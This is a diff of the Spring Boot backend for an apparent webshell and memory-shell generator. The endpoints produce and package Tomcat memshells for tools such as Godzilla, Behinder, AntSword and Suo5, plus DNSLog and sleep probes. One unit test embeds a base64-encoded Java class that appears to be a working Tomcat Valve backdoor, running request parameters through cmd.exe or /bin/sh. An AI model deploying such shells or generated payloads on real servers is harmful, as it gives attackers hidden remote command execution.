for (String supportedServer : supportedServers) {
|
||||||
|
Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer)
|
||||||
|
.getShellInjectorMapping().getSupportedShellTypes();
|
||||||
|
servers.put(supportedServer, supportedShellTypes.stream().toList());
|
||||||
|
}
|
||||||
|
return servers;
|
||||||
|
}
|
||||||
|
|
||||||
|
@RequestMapping("/packers")
|
||||||
|
public List<String> getPackers() {
|
||||||
|
return Arrays.stream(Packers.values())
|
||||||
|
.filter(packers -> packers.getParentPacker() == null)
|
||||||
|
.map(Packers::name).toList();
|
||||||
|
}
|
||||||
|
|
||||||
@RequestMapping
|
@RequestMapping
|
||||||
public ResponseEntity<?> config() {
|
public Map<String, Map<?, ?>> config() {
|
||||||
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
||||||
for (Server value : Server.values()) {
|
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||||
AbstractShell shell = value.getShell();
|
for (String supportedServer : supportedServers) {
|
||||||
if (shell == null) {
|
AbstractServer server = ServerFactory.getServer(supportedServer);
|
||||||
continue;
|
|
||||||
}
|
|
||||||
Map<String, Set<String>> map = new LinkedHashMap<>(16);
|
Map<String, Set<String>> map = new LinkedHashMap<>(16);
|
||||||
for (ShellTool shellTool : shell.getSupportedShellTools()) {
|
for (String shellTool : server.getSupportedShellTools()) {
|
||||||
Set<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
|
Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool);
|
||||||
if (supportedShellTypes.isEmpty()) {
|
if (supportedShellTypes.isEmpty()) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
map.put(shellTool.name(), supportedShellTypes);
|
map.put(shellTool, supportedShellTypes);
|
||||||
}
|
}
|
||||||
coreMap.put(value.name(), map);
|
coreMap.put(supportedServer, map);
|
||||||
}
|
}
|
||||||
Config config = new Config();
|
return coreMap;
|
||||||
config.setServers(
|
}
|
||||||
Arrays.stream(Server.values())
|
|
||||||
.filter(s -> s.getShell() != null)
|
@GetMapping("/command/configs")
|
||||||
.map(Server::name)
|
public CommandConfigVO getCommandConfigs() {
|
||||||
.collect(Collectors.toList())
|
CommandConfigVO commandConfigVO = new CommandConfigVO();
|
||||||
);
|
commandConfigVO.setEncryptors(Arrays.stream(CommandConfig.Encryptor.values()).toList());
|
||||||
config.setCore(coreMap);
|
commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
|
||||||
config.setPackers(
|
return commandConfigVO;
|
||||||
Arrays.stream(Packers.values())
|
|
||||||
.filter(packers -> packers.getParentPacker() == null)
|
|
||||||
.map(Packers::name).toList()
|
|
||||||
);
|
|
||||||
return ResponseEntity.ok(config);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,41 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
|
||||||
import com.reajason.javaweb.boot.dto.GenerateRequest;
|
|
||||||
import com.reajason.javaweb.boot.dto.GenerateResponse;
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|
||||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
|
||||||
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
|
||||||
import org.springframework.http.ResponseEntity;
|
|
||||||
import org.springframework.web.bind.annotation.*;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/18
|
|
||||||
*/
|
|
||||||
@RestController
|
|
||||||
@RequestMapping("/generate")
|
|
||||||
@CrossOrigin("*")
|
|
||||||
public class GeneratorController {
|
|
||||||
@PostMapping
|
|
||||||
public ResponseEntity<?> generate(@RequestBody GenerateRequest request) {
|
|
||||||
ShellConfig shellConfig = request.getShellConfig();
|
|
||||||
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
|
||||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
|
||||||
GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
|
||||||
Packer packer = request.getPacker().getInstance();
|
|
||||||
if (packer instanceof JarPacker) {
|
|
||||||
return ResponseEntity.ok(new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult))));
|
|
||||||
} else if (packer instanceof AggregatePacker) {
|
|
||||||
return ResponseEntity.ok(new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult)));
|
|
||||||
} else {
|
|
||||||
return ResponseEntity.ok(new GenerateResponse(generateResult, packer.pack(generateResult)));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+40
@@ -0,0 +1,40 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
|
||||||
|
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.packer.AggregatePacker;
|
||||||
|
import com.reajason.javaweb.packer.JarPacker;
|
||||||
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/18
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/api/memshell/generate")
|
||||||
|
@CrossOrigin("*")
|
||||||
|
public class MemShellGeneratorController {
|
||||||
|
@PostMapping
|
||||||
|
public MemShellGenerateResponse generate(@RequestBody MemShellGenerateRequest request) {
|
||||||
|
ShellConfig shellConfig = request.getShellConfig();
|
||||||
|
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
||||||
|
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||||
|
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
|
Packer packer = request.getPacker().getInstance();
|
||||||
|
if (packer instanceof AggregatePacker) {
|
||||||
|
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
||||||
|
}
|
||||||
|
if (packer instanceof JarPacker) {
|
||||||
|
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
|
||||||
|
}
|
||||||
|
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
||||||
|
}
|
||||||
|
}
|
||||||
+33
@@ -0,0 +1,33 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.boot.dto.ProbeShellGenerateRequest;
|
||||||
|
import com.reajason.javaweb.boot.dto.ProbeShellGenerateResponse;
|
||||||
|
import com.reajason.javaweb.packer.AggregatePacker;
|
||||||
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||||
|
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||||
|
import com.reajason.javaweb.probe.config.ProbeContentConfig;
|
||||||
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/10
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/api/probe/generate")
|
||||||
|
@CrossOrigin("*")
|
||||||
|
public class ProbeShellGeneratorController {
|
||||||
|
@PostMapping
|
||||||
|
public ProbeShellGenerateResponse generate(@RequestBody ProbeShellGenerateRequest request) {
|
||||||
|
ProbeConfig probeConfig = request.getProbeConfig();
|
||||||
|
ProbeContentConfig probeContentConfig = request.parseProbeContentConfig();
|
||||||
|
ProbeShellResult generateResult = ProbeShellGenerator.generate(probeConfig, probeContentConfig);
|
||||||
|
Packer packer = request.getPacker().getInstance();
|
||||||
|
if (packer instanceof AggregatePacker) {
|
||||||
|
return new ProbeShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
||||||
|
} else {
|
||||||
|
return new ProbeShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -22,7 +22,7 @@ import java.util.Map;
|
|||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
@RequestMapping("/version")
|
@RequestMapping("/api/version")
|
||||||
public class VersionController {
|
public class VersionController {
|
||||||
|
|
||||||
@Value("${spring.application.version}")
|
@Value("${spring.application.version}")
|
||||||
@@ -36,6 +36,11 @@ public class VersionController {
|
|||||||
|
|
||||||
@GetMapping
|
@GetMapping
|
||||||
public VersionInfo version() {
|
public VersionInfo version() {
|
||||||
|
if (version.endsWith("-SNAPSHOT")) {
|
||||||
|
return VersionInfo.builder()
|
||||||
|
.currentVersion(version)
|
||||||
|
.latestVersion(version).build();
|
||||||
|
}
|
||||||
String latestVersion = getLatestGithubRelease();
|
String latestVersion = getLatestGithubRelease();
|
||||||
return VersionInfo.builder()
|
return VersionInfo.builder()
|
||||||
.currentVersion(version)
|
.currentVersion(version)
|
||||||
|
|||||||
@@ -1,16 +1,70 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
|
import jakarta.servlet.http.HttpServletResponse;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import org.springframework.core.io.ClassPathResource;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.stereotype.Controller;
|
import org.springframework.stereotype.Controller;
|
||||||
|
import org.springframework.util.FileCopyUtils;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStreamReader;
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/19
|
* @since 2024/12/19
|
||||||
*/
|
*/
|
||||||
@Controller
|
@Controller
|
||||||
|
@Slf4j
|
||||||
public class ViewController {
|
public class ViewController {
|
||||||
@GetMapping("/")
|
@GetMapping("/")
|
||||||
public String index(){
|
public String index(){
|
||||||
return "index";
|
return "redirect:/ui";
|
||||||
|
}
|
||||||
|
|
||||||
|
@GetMapping({"/api/search", "/api/search.data"})
|
||||||
|
@ResponseBody
|
||||||
|
public String handleSearch(HttpServletRequest request, HttpServletResponse response) {
|
||||||
|
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
||||||
|
String relativePath = fullPath.substring(1);
|
||||||
|
return renderFileData(relativePath, response);
|
||||||
|
}
|
||||||
|
|
||||||
|
@GetMapping("/ui/**")
|
||||||
|
@SneakyThrows
|
||||||
|
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
|
||||||
|
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
||||||
|
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
|
||||||
|
return "index";
|
||||||
|
}
|
||||||
|
String docPath = fullPath.substring(4);
|
||||||
|
if (docPath.endsWith(".data")) {
|
||||||
|
return ResponseEntity.ok(renderFileData(docPath, response));
|
||||||
|
}
|
||||||
|
return docPath + "/index";
|
||||||
|
}
|
||||||
|
|
||||||
|
private String renderFileData(String relativePath, HttpServletResponse response) {
|
||||||
|
try {
|
||||||
|
String templatePath = "templates/" + relativePath;
|
||||||
|
ClassPathResource resource = new ClassPathResource(templatePath);
|
||||||
|
if (!resource.exists()) {
|
||||||
|
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
|
||||||
|
return "File not found: " + relativePath;
|
||||||
|
}
|
||||||
|
InputStreamReader reader = new InputStreamReader(
|
||||||
|
resource.getInputStream(),
|
||||||
|
StandardCharsets.UTF_8
|
||||||
|
);
|
||||||
|
return FileCopyUtils.copyToString(reader);
|
||||||
|
} catch (IOException e) {
|
||||||
|
response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
|
||||||
|
return "Error reading file: " + e.getMessage();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,29 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.dto;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import lombok.Data;
|
|
||||||
import lombok.NoArgsConstructor;
|
|
||||||
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/18
|
|
||||||
*/
|
|
||||||
@Data
|
|
||||||
@NoArgsConstructor
|
|
||||||
public class GenerateResponse {
|
|
||||||
private GenerateResult generateResult;
|
|
||||||
private String packResult;
|
|
||||||
private Map<String, String> allPackResults;
|
|
||||||
|
|
||||||
public GenerateResponse(GenerateResult generateResult, String packResult) {
|
|
||||||
this.generateResult = generateResult;
|
|
||||||
this.packResult = packResult;
|
|
||||||
}
|
|
||||||
|
|
||||||
public GenerateResponse(GenerateResult generateResult, Map<String, String> allPackResults) {
|
|
||||||
this.allPackResults = allPackResults;
|
|
||||||
this.generateResult = generateResult;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+18
-5
@@ -1,30 +1,36 @@
|
|||||||
package com.reajason.javaweb.boot.dto;
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.memshell.ShellTool.*;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/18
|
* @since 2024/12/18
|
||||||
*/
|
*/
|
||||||
@Data
|
@Data
|
||||||
public class GenerateRequest {
|
public class MemShellGenerateRequest {
|
||||||
private ShellConfig shellConfig;
|
private ShellConfig shellConfig;
|
||||||
private ShellToolConfigDTO shellToolConfig;
|
private ShellToolConfigDTO shellToolConfig;
|
||||||
private InjectorConfig injectorConfig;
|
private InjectorConfig injectorConfig;
|
||||||
private Packers packer;
|
private Packers packer;
|
||||||
|
|
||||||
@Data
|
@Data
|
||||||
static class ShellToolConfigDTO {
|
public static class ShellToolConfigDTO {
|
||||||
private String shellClassName;
|
private String shellClassName;
|
||||||
private String godzillaPass;
|
private String godzillaPass;
|
||||||
private String godzillaKey;
|
private String godzillaKey;
|
||||||
private String commandParamName;
|
private String commandParamName;
|
||||||
|
private String commandTemplate;
|
||||||
private String behinderPass;
|
private String behinderPass;
|
||||||
private String antSwordPass;
|
private String antSwordPass;
|
||||||
private String headerName;
|
private String headerName;
|
||||||
private String headerValue;
|
private String headerValue;
|
||||||
|
private String shellClassBase64;
|
||||||
|
private String encryptor;
|
||||||
|
private String implementationClass;
|
||||||
}
|
}
|
||||||
|
|
||||||
public ShellToolConfig parseShellToolConfig() {
|
public ShellToolConfig parseShellToolConfig() {
|
||||||
@@ -45,13 +51,16 @@ public class GenerateRequest {
|
|||||||
case Command -> CommandConfig.builder()
|
case Command -> CommandConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.paramName(shellToolConfig.getCommandParamName())
|
.paramName(shellToolConfig.getCommandParamName())
|
||||||
|
.template(shellToolConfig.getCommandTemplate())
|
||||||
|
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||||
|
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
||||||
.build();
|
.build();
|
||||||
case Suo5 -> Suo5Config.builder()
|
case Suo5, Suo5v2 -> Suo5Config.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
.build();
|
.build();
|
||||||
case AntSword -> AntSwordConfig.builder()
|
case AntSword -> AntSwordConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.pass(shellToolConfig.getAntSwordPass())
|
.pass(shellToolConfig.getAntSwordPass())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
@@ -62,6 +71,10 @@ public class GenerateRequest {
|
|||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
.build();
|
.build();
|
||||||
|
case Custom -> CustomConfig.builder()
|
||||||
|
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
||||||
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
|
.build();
|
||||||
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import lombok.Data;
|
||||||
|
import lombok.NoArgsConstructor;
|
||||||
|
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/18
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
@NoArgsConstructor
|
||||||
|
public class MemShellGenerateResponse {
|
||||||
|
private MemShellResult memShellResult;
|
||||||
|
private String packResult;
|
||||||
|
private Map<String, String> allPackResults;
|
||||||
|
|
||||||
|
public MemShellGenerateResponse(MemShellResult memShellResult, String packResult) {
|
||||||
|
this.memShellResult = memShellResult;
|
||||||
|
this.packResult = packResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
public MemShellGenerateResponse(MemShellResult memShellResult, Map<String, String> allPackResults) {
|
||||||
|
this.allPackResults = allPackResults;
|
||||||
|
this.memShellResult = memShellResult;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,44 @@
|
|||||||
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.config.*;
|
||||||
|
import lombok.Data;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/10
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
public class ProbeShellGenerateRequest {
|
||||||
|
private ProbeConfig probeConfig;
|
||||||
|
private ProbeContentConfigDTO probeContentConfig;
|
||||||
|
private Packers packer;
|
||||||
|
|
||||||
|
@Data
|
||||||
|
static class ProbeContentConfigDTO {
|
||||||
|
private String host;
|
||||||
|
private int seconds;
|
||||||
|
private String server;
|
||||||
|
private String sleepServer;
|
||||||
|
private String reqParamName;
|
||||||
|
private String commandTemplate;
|
||||||
|
}
|
||||||
|
|
||||||
|
public ProbeContentConfig parseProbeContentConfig() {
|
||||||
|
return switch (probeConfig.getProbeMethod()) {
|
||||||
|
case DNSLog -> DnsLogConfig.builder()
|
||||||
|
.host(probeContentConfig.host)
|
||||||
|
.build();
|
||||||
|
case Sleep -> SleepConfig.builder()
|
||||||
|
.seconds(probeContentConfig.seconds)
|
||||||
|
.server(probeContentConfig.sleepServer)
|
||||||
|
.build();
|
||||||
|
case ResponseBody -> ResponseBodyConfig.builder()
|
||||||
|
.reqParamName(probeContentConfig.reqParamName)
|
||||||
|
.commandTemplate(probeContentConfig.commandTemplate)
|
||||||
|
.server(probeContentConfig.server)
|
||||||
|
.build();
|
||||||
|
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||||
|
import lombok.Data;
|
||||||
|
import lombok.NoArgsConstructor;
|
||||||
|
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/10
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
@NoArgsConstructor
|
||||||
|
public class ProbeShellGenerateResponse {
|
||||||
|
private ProbeShellResult probeShellResult;
|
||||||
|
private String packResult;
|
||||||
|
private Map<String, String> allPackResults;
|
||||||
|
|
||||||
|
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, String packResult) {
|
||||||
|
this.probeShellResult = probeShellResult;
|
||||||
|
this.packResult = packResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, Map<String, String> allPackResults) {
|
||||||
|
this.allPackResults = allPackResults;
|
||||||
|
this.probeShellResult = probeShellResult;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -11,7 +11,7 @@ import java.util.Map;
|
|||||||
*/
|
*/
|
||||||
@Data
|
@Data
|
||||||
public class Config {
|
public class Config {
|
||||||
private List<String> servers;
|
private Map<String, List<String>> servers;
|
||||||
private Map<String, Map<?, ?>> core;
|
private Map<String, Map<?, ?>> core;
|
||||||
private List<String> packers;
|
private List<String> packers;
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
package com.reajason.javaweb.boot.vo;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
|
import lombok.Data;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/25
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
public class CommandConfigVO {
|
||||||
|
private List<CommandConfig.Encryptor> encryptors;
|
||||||
|
private List<CommandConfig.ImplementationClass> implementationClasses;
|
||||||
|
}
|
||||||
@@ -1,4 +1,7 @@
|
|||||||
spring:
|
spring:
|
||||||
application:
|
application:
|
||||||
name: boot
|
name: boot
|
||||||
version: ${version}
|
version: ${version}
|
||||||
|
mvc:
|
||||||
|
pathmatch:
|
||||||
|
matching-strategy: ant_path_matcher
|
||||||
+18
@@ -0,0 +1,18 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/10
|
||||||
|
*/
|
||||||
|
class ClassNameParseControllerTest {
|
||||||
|
@Test
|
||||||
|
void test(){
|
||||||
|
ClassNameParseController classNameParseController = new ClassNameParseController();
|
||||||
|
String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEA